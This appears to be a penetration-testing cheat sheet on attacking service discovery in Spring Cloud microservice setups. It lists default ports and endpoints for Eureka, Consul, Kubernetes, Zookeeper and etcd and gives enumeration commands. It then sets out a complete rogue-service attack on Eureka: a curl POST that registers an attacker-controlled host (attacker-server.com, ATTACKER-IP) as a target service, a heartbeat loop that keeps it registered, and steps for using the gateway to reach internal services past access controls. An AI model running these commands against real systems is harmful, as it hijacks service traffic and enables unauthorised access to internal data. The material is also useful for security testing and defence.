Spring Cloud
Attacking Service Discovery in Spring Cloud Architectures
Components
Service Discovery (Eureka)
Netflix Eurekaacts as a service registry where microservices register themselves and discover other services.By default, Eureka Server runs on
port 8761and provides both a web dashboard andRESTAPI.
Spring Cloud Config Server
Centralized configuration management system that serves configuration to distributed applications. Default port is 8888.
Spring Cloud Gateway
API gateway that provides routing, load balancing, and security features for microservices.
Spring Cloud Function
Enables serverless programming with support for AWS Lambda, Azure Functions, and Google Cloud Functions.
Identifying the Discovery Mechanism
Netflix Eureka
Default port:
8761Web UI path:
http://target:8761/API endpoints:
/eureka/apps,/eureka/apps/{service}Response headers often include:
X-Application-ContextJava-based
HashiCorp Consul
Default ports:
8500(HTTP),8600(DNS),8300-8302(Server RPC)Web UI path:
http://target:8500/ui/API endpoints:
/v1/catalog/services,/v1/agent/servicesResponse headers:
X-Consul-*headersWritten in
Go
Kubernetes Native
DNS-based service discovery (CoreDNS)
Default ports:
6443(API server),10250(kubelet),10251(scheduler),10252(controller)API endpoint:
https://target:6443/api/v1Service DNS format:
service-name.namespace.svc.cluster.localEnvironment variables in pods:
KUBERNETES_SERVICE_HOST,KUBERNETES_SERVICE_PORT
Apache Zookeeper
Default port:
2181(client connections),2888(follower),3888(election)Uses custom protocol
Often used with
Kafka,Hadoopecosystems
etcd
Default ports:
2379(client),2380(peer)API endpoints:
/v2/keys,/v3/kvUsed heavily by
Kubernetesfor cluster state
Exploiting HashiCorp Consul
Service Enumeration
curl http://target:8500/v1/catalog/servicescurl http://target:8500/v1/catalog/service/webcurl http://target:8500/v1/catalog/nodesdig @target -p 8600 web.service.consul SRV
dig @target -p 8600 web.service.consul AACL Status Check
curl http://target:8500/v1/acl/bootstrapcurl http://target:8500/v1/agent/servicesAttacking Service Discovery - Eureka
Finding Eureka Servers
nmap -p 8761 target-rangeeureka port:8761curl http://target:8761/Eureka Dashboard Access: http://target:8761/
API Enumeration
curl http://target:8761/eureka/appscurl http://target:8761/eureka/apps/SERVICE-NAMEcurl http://target:8761/eureka/apps/SERVICE-NAME/instance-idRogue Service Registration - Eureka
curl -X POST http://username:password@target:8761/eureka/apps/TARGET-SERVICE \
-H "Content-Type: application/json" \
-d '{
"instance": {
"hostName": "attacker-server.com",
"app": "TARGET-SERVICE",
"ipAddr": "ATTACKER-IP",
"port": {
"$": 8080,
"@enabled": true
},
"securePort": {
"$": 443,
"@enabled": false
},
"status": "UP",
"homePageUrl": "http://attacker-server.com:8080/",
"statusPageUrl": "http://attacker-server.com:8080/actuator/info",
"healthCheckUrl": "http://attacker-server.com:8080/actuator/health",
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'while true; do
curl -X PUT http://target:8761/eureka/apps/TARGET-SERVICE/instance-id
sleep 30
doneService Impersonation via Gateway - Eureka
Find service mapped to root path
/in gateway configurationIdentify internal service you want to access (e.g.,
secretservice)
Gateway will load balance between legitimate and malicious instances
Requests through gateway may hit internal service, bypassing access controls
Last updated